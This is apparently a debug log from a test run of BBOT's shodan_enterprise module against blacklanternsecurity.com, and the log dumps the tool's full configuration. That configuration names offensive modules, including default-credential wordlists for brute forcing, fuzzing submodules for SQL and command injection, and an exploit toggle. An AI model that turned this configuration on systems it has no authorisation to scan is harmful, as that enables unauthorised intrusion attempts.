21:21:51,943 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-02-27 21:21:51,944 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-02-27 21:21:51,944 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-02-27 21:21:51,944 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-02-27 21:21:51,947 [DEBUG] bbot base.py:111 Starting scan +2026-02-27 21:21:52,094 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_6zceez31zn +2026-02-27 21:21:52,095 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-02-27 21:21:52,210 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started +2026-02-27 21:21:52,211 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-02-27 21:21:52,211 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-02-27 21:21:52,214 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'distance-1'}) +2026-02-27 21:21:52,312 [DEBUG] bbot.modules._scan_ingress base.py:1563 DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'distance-1'}) passed post-check +2026-02-27 21:21:52,313 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'distance-1'}) +2026-02-27 21:21:52,315 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'distance-1'}) in-scope because its main host matches the scan target +2026-02-27 21:21:52,316 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'in-scope', 'target'}) +2026-02-27 21:21:52,317 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:3b51e093d632282634171a26ab736cbcb6801b2b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 21:21:52,318 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:3b51e093d632282634171a26ab736cbcb6801b2b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:21:52,319 [DEBUG] bbot.modules.dnsresolve base.py:1563 DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'in-scope', 'target'}) passed post-check +2026-02-27 21:21:52,319 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'in-scope', 'target'}) +2026-02-27 21:21:52,320 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:3b51e093d632282634171a26ab736cbcb6801b2b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:21:52,322 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:3b51e093d632282634171a26ab736cbcb6801b2b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 21:21:52,322 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:3b51e093d632282634171a26ab736cbcb6801b2b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:21:52,324 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:3b51e093d632282634171a26ab736cbcb6801b2b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 21:21:52,324 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:3b51e093d632282634171a26ab736cbcb6801b2b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:21:52,326 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:3b51e093d632282634171a26ab736cbcb6801b2b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:21:52,327 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:3b51e093d632282634171a26ab736cbcb6801b2b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-02-27 21:21:52,332 [DEBUG] bbot.core.helpers.dns dns.py:190 Skipping wildcard detection on blacklanternsecurity.com because blacklanternsecurity.com is excluded in the config +2026-02-27 21:21:52,332 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'target', 'unresolved', 'domain'}) +2026-02-27 21:21:52,333 [DEBUG] bbot.modules._scan_egress base.py:1563 DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'target', 'unresolved', 'domain'}) passed post-check +2026-02-27 21:21:52,333 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'target', 'unresolved', 'domain'}) +2026-02-27 21:21:52,334 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'target', 'unresolved', 'domain'}) +2026-02-27 21:21:52,335 [DEBUG] bbot.modules.output.python base.py:1563 Queueing DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'target', 'unresolved', 'domain'}) because precheck succeeded +2026-02-27 21:21:52,412 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:3b51e093d632282634171a26ab736cbcb6801b2b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-02-27 21:21:52,414 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:3b51e093d632282634171a26ab736cbcb6801b2b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 21:21:52,414 [DEBUG] bbot.modules.output.python base.py:1563 Got DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'target', 'unresolved', 'domain'}) from TARGET +2026-02-27 21:21:52,414 [DEBUG] bbot.modules.output.python base.py:1563 DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'target', 'unresolved', 'domain'}) passed post-check +2026-02-27 21:21:52,415 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-02-27 21:21:52,416 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-02-27 21:21:52,417 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-02-27 21:21:52,417 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-02-27 21:21:52,417 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-02-27 21:21:52,418 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-02-27 21:21:52,418 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-02-27 21:21:52,419 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-02-27 21:21:52,518 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-02-27 21:21:52,519 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-02-27 21:21:52,533 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-02-27 21:21:52,534 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-02-27 21:21:52,535 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-02-27 21:21:52,545 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-02-27 21:21:52,546 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-02-27 21:21:52,546 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-02-27 21:21:52,547 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-02-27 21:21:52,548 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-02-27 21:21:52,548 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-02-27 21:21:52,664 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_6zceez31zn completed in 0 seconds with status FINISHED +2026-02-27 21:21:52,665 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-02-27 21:21:52,666 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 21:21:52,667 [CRITICAL] bbot test_module_shodan_enterprise.py:19 SCAN +2026-02-27 21:21:52,667 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:21 {'id': 'SCAN:3b51e093d632282634171a26ab736cbcb6801b2b', 'name': 'testshodan_enterprise_test_6zceez31zn', 'target': {'seeds': ['blacklanternsecurity.com'], 'whitelist': ['blacklanternsecurity.com'], 'blacklist': [], 'strict_scope': False, 'hash': 'b813d1d7fbaa3a3ca10ef8102b5dbcf344f4e8ea', 'seed_hash': '1e57014aa7b0715bca68e4f597204fc4e1e851fc', 'whitelist_hash': '1e57014aa7b0715bca68e4f597204fc4e1e851fc', 'blacklist_hash': 'da39a3ee5e6b4b0d3255bfef95601890afd80709', 'scope_hash': '0b94739339395097caf816b6e7a5a71160c59cf3'}, 'preset': {'description': 'testshodan_enterprise_test_6zceez31zn', 'config': {'home': '/tmp/.bbot_test', 'keep_scans': 20, 'status_frequency': 15, 'file_blobs': False, 'folder_blobs': False, 'scope': {'strict': False, 'report_distance': 0, 'search_distance': 0}, 'dns': {'disable': False, 'minimal': True, 'threads': 25, 'brute_threads': 1000, 'brute_nameservers': 'https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt', 'search_distance': 1, 'runaway_limit': 5, 'timeout': 1, 'retries': 1, 'wildcard_disable': False, 'wildcard_ignore': ['blacklanternsecurity.com', 'fakedomain', 'notreal', 'google', 'google.com', 'example.com', 'evilcorp.com', 'one'], 'wildcard_tests': 10, 'abort_threshold': 50, 'filter_ptrs': True, 'debug': False, 'omit_queries': ['SRV:mail.protection.outlook.com', 'CNAME:mail.protection.outlook.com', 'TXT:mail.protection.outlook.com']}, 'web': {'http_proxy': None, 'user_agent': 'BBOT Test User-Agent', 'spider_distance': 0, 'spider_depth': 1, 'spider_links_per_page': 25, 'http_timeout': 10, 'httpx_timeout': 5, 'http_headers': {'test': 'header'}, 'api_retries': 2, 'http_retries': 1, 'httpx_retries': 1, '429_sleep_interval': 30, '429_max_sleep_interval': 60, 'debug': False, 'http_max_redirects': 5, 'ssl_verify': False}, 'engine': {'debug': True}, 'deps': {'ffuf': {'version': '2.1.0'}, 'behavior': 'retry_failed'}, 'module_dirs': [], 'module_handle_event_timeout': 3600, 'module_handle_batch_timeout': 7200, 'speculate': False, 'excavate': False, 'aggregate': False, 'dnsresolve': True, 'cloudcheck': False, 'url_querystring_remove': True, 'url_querystring_collapse': True, 'url_extension_blacklist': ['png', 'jpg', 'bmp', 'ico', 'jpeg', 'gif', 'svg', 'webp', 'css', 'woff', 'woff2', 'ttf', 'eot', 'sass', 'scss', 'mp3', 'm4a', 'wav', 'flac', 'mp4', 'mkv', 'avi', 'wmv', 'mov', 'flv', 'webm'], 'url_extension_special': ['js'], 'url_extension_static': ['pdf', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', 'txt', 'csv', 'xml', 'yaml', 'ini', 'log', 'conf', 'cfg', 'env', 'md', 'rtf', 'tiff', 'bmp', 'jpg', 'jpeg', 'png', 'gif', 'svg', 'ico', 'mp3', 'wav', 'flac', 'mp4', 'mov', 'avi', 'mkv', 'webm', 'zip', 'tar', 'gz', 'bz2', '7z', 'rar'], 'parameter_blacklist': ['__VIEWSTATE', '__EVENTARGUMENT', '__EVENTVALIDATION', '__EVENTTARGET', '__EVENTARGUMENT', '__VIEWSTATEGENERATOR', '__SCROLLPOSITIONY', '__SCROLLPOSITIONX', 'ASP.NET_SessionId', 'PHPSESSID', '__cf_bm', 'f5_cspm'], 'parameter_blacklist_prefixes': ['TS01', 'BIGipServer', 'incap_', 'visid_incap_', 'AWSALB', 'utm_', 'ApplicationGatewayAffinity', 'JSESSIONID', 'ARRAffinity'], 'omit_event_types': [], 'interactsh_server': None, 'interactsh_disable': False, 'modules': {'massdns': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/deepmagic.com-prefixes-top500.txt'}, 'ffuf': {'prefix_busting': True, 'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt', 'lines': 5000, 'max_depth': 0, 'extensions': '', 'ignore_case': False, 'rate': 0}, 'http': {'url': '', 'bearer': '', 'method': 'POST', 'timeout': 10, 'siem_friendly': False}, 'websocket': {'url': '', 'preserve_graph': True, 'ignore_ssl': False}, 'asn': {}, 'affiliates': {}, 'legba': {'ssh_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt', 'ftp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt', 'telnet_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt', 'vnc_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt', 'mssql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt', 'mysql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt', 'postgresql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt', 'concurrency': 3, 'rate_limit': 3, 'version': '1.1.1'}, 'web_parameters': {'output_file': '', 'include_count': False}, 'discord': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'emails': {'output_file': ''}, 'teams': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'txt': {'output_file': ''}, 'neo4j': {'uri': 'bolt://localhost:7687'}, 'asset_inventory': {'output_file': '', 'use_previous': False, 'recheck': False, 'summary_netmask': 16}, 'sqlite': {'database': ''}, 'web_report': {'output_file': '', 'css_theme_file': 'https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css'}, 'csv': {'output_file': ''}, 'postgres': {'host': 'localhost', 'port': 5432, 'database': 'bbot'}, 'python': {}, 'subdomains': {'output_file': '', 'include_unresolved': False}, 'stdout': {'format': 'text', 'event_types': [], 'event_fields': [], 'in_scope_only': False, 'accept_dupes': True}, 'nmap_xml': {}, 'json': {'output_file': '', 'siem_friendly': False}, 'slack': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'splunk': {'url': '', 'index': '', 'source': '', 'timeout': 10}, 'mysql': {'host': 'localhost', 'port': 3306, 'database': 'bbot'}, 'aggregate': {}, 'cloudcheck': {}, 'excavate': {'yara_max_match_data': 2000, 'custom_yara_rules': '', 'speculate_params': False}, 'speculate': {'max_hosts': 65536, 'ports': '80,443', 'essential_only': False}, 'unarchive': {}, 'dnsresolve': {}, 'urlscan': {'urls': False}, 'jadx': {'threads': 4}, 'trufflehog': {'version': '3.90.8', 'config': '', 'only_verified': True, 'concurrency': 8, 'deleted_forks': False}, 'host_header': {}, 'securitytxt': {'emails': True, 'urls': True}, 'dnsdumpster': {}, 'bevigil': {'urls': False}, 'bucket_google': {'permutations': False}, 'git': {}, 'azure_realm': {}, 'extractous': {'extensions': ['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml']}, 'credshed': {'credshed_url': ''}, 'fullhunt': {}, 'social': {}, 'pgp': {'search_urls': ['https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=', 'http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=', 'https://pgpkeys.eu/pks/lookup?search=&op=index', 'https://pgp.mit.edu/pks/lookup?search=&op=index']}, 'azure_tenant': {}, 'virustotal': {}, 'vhost': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'force_basehost': '', 'lines': 5000}, 'shodan_enterprise': {}, 'dnsbrute': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'max_depth': 5}, 'shodan_dns': {}, 'ip2location': {'lang': ''}, 'rapiddns': {}, 'wpscan': {'enumerate': 'vp,vt,cb,dbe', 'threads': 5, 'request_timeout': 5, 'connection_timeout': 2, 'disable_tls_checks': True, 'force': False}, 'dnscommonsrv': {'max_depth': 2}, 'passivetotal': {}, 'ntlm': {'try_all': False}, 'trickest': {}, 'google_playstore': {}, 'github_usersearch': {}, 'subdomainradar': {'group': 'fast', 'timeout': 120}, 'dockerhub': {}, 'medusa': {'snmp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt', 'snmp_versions': ['1', '2C'], 'wait_microseconds': 200, 'timeout_s': 5, 'threads': 5}, 'digitorus': {}, 'wafw00f': {'generic_detect': True}, 'generic_ssrf': {'skip_dns_interaction': False}, 'filedownload': {'extensions': ['bak', 'bash', 'bashrc', 'cfg', 'conf', 'crt', 'csv', 'db', 'dll', 'doc', 'docx', 'exe', 'ica', 'indd', 'ini', 'jar', 'json', 'key', 'log', 'markdown', 'md', 'msi', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'pub', 'raw', 'rdp', 'rsa', 'sh', 'sql', 'sqlite', 'swp', 'sxw', 'tar.gz', 'tgz', 'tar', 'txt', 'vbs', 'war', 'wpd', 'xls', 'xlsx', 'xml', 'yaml', 'yml', 'zip', 'lzma', 'rar', '7z', 'xz', 'bz2'], 'max_filesize': '10MB', 'output_folder': ''}, 'chaos': {}, 'httpx': {'threads': 50, 'in_scope_only': True, 'version': '1.2.5', 'max_response_size': 5242880, 'store_responses': False, 'probe_all_ips': False}, 'baddns_zone': {'custom_nameservers': [], 'only_high_confidence': False}, 'graphql_introspection': {'graphql_endpoint_urls': ['/', '/graphql', '/v1/graphql'], 'output_folder': ''}, 'paramminer_headers': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'securitytrails': {}, 'bucket_microsoft': {'permutations': False}, 'viewdns': {}, 'url_manipulation': {'allow_redirects': True}, 'ffuf_shortnames': {'wordlist_extensions': '', 'max_depth': 1, 'version': '2.0.0', 'extensions': '', 'ignore_redirects': True, 'find_common_prefixes': False, 'find_delimiters': True, 'find_subwords': False, 'max_predictions': 250, 'rate': 0}, 'censys_ip': {'dns_names_limit': 100, 'in_scope_only': True}, 'builtwith': {'redirects': True}, 'certspotter': {}, 'sslcert': {'timeout': 5.0, 'skip_non_ssl': True}, 'gitdumper': {'output_folder': '', 'fuzz_tags': False, 'max_semanic_version': 10}, 'shodan_idb': {'retries': None}, 'hackertarget': {}, 'c99': {}, 'newsletters': {}, 'apkpure': {'output_folder': ''}, 'crt': {}, 'postman_download': {'output_folder': ''}, 'hunt': {}, 'dnsbrute_mutations': {'max_mutations': 100}, 'bucket_firebase': {'permutations': False}, 'nuclei': {'version': '3.7.0', 'tags': '', 'templates': '', 'severity': '', 'ratelimit': 150, 'concurrency': 25, 'mode': 'manual', 'etags': '', 'budget': 1, 'silent': False, 'directory_only': True, 'retries': 0, 'batch_size': 200, 'module_timeout': 21600}, 'censys_dns': {'max_pages': 5}, 'retirejs': {'version': '5.3.0', 'node_version': '18.19.1', 'severity': 'medium'}, 'git_clone': {'output_folder': ''}, 'bucket_amazon': {'permutations': False}, 'bucket_digitalocean': {'permutations': False}, 'skymem': {}, 'hunterio': {}, 'paramminer_cookies': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'postman': {}, 'code_repository': {}, 'gitlab_com': {}, 'dnstlsrpt': {'emit_emails': True, 'emit_raw_dns_records': False, 'emit_urls': True}, 'baddns': {'custom_nameservers': [], 'only_high_confidence': False, 'enabled_submodules': []}, 'subdomaincenter': {}, 'wayback': {'urls': False, 'garbage_threshold': 10}, 'ipstack': {}, 'emailformat': {}, 'fingerprintx': {'version': '1.1.4', 'skip_common_web': True}, 'dnscaa': {'in_scope_only': True, 'dns_names': True, 'emails': True, 'urls': True}, 'bypass403': {}, 'leakix': {}, 'paramminer_getparams': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'reflected_parameters': {}, 'crt_db': {}, 'bucket_file_enum': {'file_limit': 50}, 'portscan': {'top_ports': 100, 'ports': '', 'rate': 300, 'wait': 5, 'ping_first': False, 'ping_only': False, 'adapter': '', 'adapter_ip': '', 'adapter_mac': '', 'router_mac': '', 'module_timeout': 259200}, 'baddns_direct': {'custom_nameservers': []}, 'ajaxpro': {}, 'telerik': {'exploit_RAU_crypto': False, 'include_subdirs': False}, 'dnsbimi': {'emit_raw_dns_records': False, 'emit_urls': True, 'selectors': 'default,email,mail,bimi'}, 'aspnet_bin_exposure': {}, 'otx': {}, 'github_codesearch': {'limit': 100}, 'dehashed': {}, 'gowitness': {'version': '3.0.5', 'threads': 0, 'timeout': 10, 'resolution_x': 1440, 'resolution_y': 900, 'output_path': '', 'social': False, 'idle_timeout': 1800, 'chrome_path': ''}, 'docker_pull': {'all_tags': False, 'output_folder': ''}, 'ipneighbor': {'num_bits': 4}, 'bufferoverrun': {'commercial': False}, 'gitlab_onprem': {}, 'iis_shortnames': {'detect_only': True, 'max_node_count': 50, 'speculate_magic_urls': True}, 'badsecrets': {}, 'myssl': {}, 'github_workflows': {'num_logs': 1, 'output_folder': ''}, 'dotnetnuke': {}, 'smuggler': {}, 'robots': {'include_sitemap': False, 'include_allow': True, 'include_disallow': True}, 'anubisdb': {'limit': 1000}, 'oauth': {'try_all': False}, 'github_org': {'include_members': True, 'include_member_repos': False}, 'portfilter': {'cdn_tags': 'cdn-', 'allowed_cdn_ports': '80,443'}, 'sitedossier': {}, 'lightfuzz': {'force_common_headers': False, 'enabled_submodules': ['sqli', 'cmdi', 'xss', 'path', 'ssti', 'crypto', 'serial', 'esi'], 'disable_post': False, 'try_post_as_get': False, 'try_get_as_post': False, 'avoid_wafs': True}}, 'agent_url': 'ws://127.0.0.1:8765', 'debug': True}, 'modules': ['shodan_enterprise'], 'output_modules': ['python'], 'scan_name': 'testshodan_enterprise_test_6zceez31zn'}, 'started_at': '2026-02-27T21:21:51.947582', 'status': 'RUNNING'} +2026-02-27 21:21:52,668 [HUGEWARNING] bbot test_module_shodan_enterprise.py:23 set() +2026-02-27 21:21:52,669 [HUGEINFO] bbot test_module_shodan_enterprise.py:25 SCAN("{'id': 'SCAN:3b51e093d632282634171a26ab736cbcb6801b2b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:21:52,670 [CRITICAL] bbot test_module_shodan_enterprise.py:19 DNS_NAME_UNRESOLVED +2026-02-27 21:21:52,670 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:21 blacklanternsecurity.com +2026-02-27 21:21:52,670 [HUGEWARNING] bbot test_module_shodan_enterprise.py:23 {'in-scope', 'target', 'unresolved', 'domain'} +2026-02-27 21:21:52,670 [HUGEINFO] bbot test_module_shodan_enterprise.py:25 SCAN("{'id': 'SCAN:3b51e093d632282634171a26ab736cbcb6801b2b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:21:52,671 [CRITICAL] bbot test_module_shodan_enterprise.py:19 SCAN +2026-02-27 21:21:52,671 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:21 {'id': 'SCAN:3b51e093d632282634171a26ab736cbcb6801b2b', 'name': 'testshodan_enterprise_test_6zceez31zn', 'target': {'seeds': ['blacklanternsecurity.com'], 'whitelist': ['blacklanternsecurity.com'], 'blacklist': [], 'strict_scope': False, 'hash': 'b813d1d7fbaa3a3ca10ef8102b5dbcf344f4e8ea', 'seed_hash': '1e57014aa7b0715bca68e4f597204fc4e1e851fc', 'whitelist_hash': '1e57014aa7b0715bca68e4f597204fc4e1e851fc', 'blacklist_hash': 'da39a3ee5e6b4b0d3255bfef95601890afd80709', 'scope_hash': '0b94739339395097caf816b6e7a5a71160c59cf3'}, 'preset': {'description': 'testshodan_enterprise_test_6zceez31zn', 'config': {'home': '/tmp/.bbot_test', 'keep_scans': 20, 'status_frequency': 15, 'file_blobs': False, 'folder_blobs': False, 'scope': {'strict': False, 'report_distance': 0, 'search_distance': 0}, 'dns': {'disable': False, 'minimal': True, 'threads': 25, 'brute_threads': 1000, 'brute_nameservers': 'https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt', 'search_distance': 1, 'runaway_limit': 5, 'timeout': 1, 'retries': 1, 'wildcard_disable': False, 'wildcard_ignore': ['blacklanternsecurity.com', 'fakedomain', 'notreal', 'google', 'google.com', 'example.com', 'evilcorp.com', 'one'], 'wildcard_tests': 10, 'abort_threshold': 50, 'filter_ptrs': True, 'debug': False, 'omit_queries': ['SRV:mail.protection.outlook.com', 'CNAME:mail.protection.outlook.com', 'TXT:mail.protection.outlook.com']}, 'web': {'http_proxy': None, 'user_agent': 'BBOT Test User-Agent', 'spider_distance': 0, 'spider_depth': 1, 'spider_links_per_page': 25, 'http_timeout': 10, 'httpx_timeout': 5, 'http_headers': {'test': 'header'}, 'api_retries': 2, 'http_retries': 1, 'httpx_retries': 1, '429_sleep_interval': 30, '429_max_sleep_interval': 60, 'debug': False, 'http_max_redirects': 5, 'ssl_verify': False}, 'engine': {'debug': True}, 'deps': {'ffuf': {'version': '2.1.0'}, 'behavior': 'retry_failed'}, 'module_dirs': [], 'module_handle_event_timeout': 3600, 'module_handle_batch_timeout': 7200, 'speculate': False, 'excavate': False, 'aggregate': False, 'dnsresolve': True, 'cloudcheck': False, 'url_querystring_remove': True, 'url_querystring_collapse': True, 'url_extension_blacklist': ['png', 'jpg', 'bmp', 'ico', 'jpeg', 'gif', 'svg', 'webp', 'css', 'woff', 'woff2', 'ttf', 'eot', 'sass', 'scss', 'mp3', 'm4a', 'wav', 'flac', 'mp4', 'mkv', 'avi', 'wmv', 'mov', 'flv', 'webm'], 'url_extension_special': ['js'], 'url_extension_static': ['pdf', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', 'txt', 'csv', 'xml', 'yaml', 'ini', 'log', 'conf', 'cfg', 'env', 'md', 'rtf', 'tiff', 'bmp', 'jpg', 'jpeg', 'png', 'gif', 'svg', 'ico', 'mp3', 'wav', 'flac', 'mp4', 'mov', 'avi', 'mkv', 'webm', 'zip', 'tar', 'gz', 'bz2', '7z', 'rar'], 'parameter_blacklist': ['__VIEWSTATE', '__EVENTARGUMENT', '__EVENTVALIDATION', '__EVENTTARGET', '__EVENTARGUMENT', '__VIEWSTATEGENERATOR', '__SCROLLPOSITIONY', '__SCROLLPOSITIONX', 'ASP.NET_SessionId', 'PHPSESSID', '__cf_bm', 'f5_cspm'], 'parameter_blacklist_prefixes': ['TS01', 'BIGipServer', 'incap_', 'visid_incap_', 'AWSALB', 'utm_', 'ApplicationGatewayAffinity', 'JSESSIONID', 'ARRAffinity'], 'omit_event_types': [], 'interactsh_server': None, 'interactsh_disable': False, 'modules': {'massdns': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/deepmagic.com-prefixes-top500.txt'}, 'ffuf': {'prefix_busting': True, 'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt', 'lines': 5000, 'max_depth': 0, 'extensions': '', 'ignore_case': False, 'rate': 0}, 'http': {'url': '', 'bearer': '', 'method': 'POST', 'timeout': 10, 'siem_friendly': False}, 'websocket': {'url': '', 'preserve_graph': True, 'ignore_ssl': False}, 'asn': {}, 'affiliates': {}, 'legba': {'ssh_wordlist': 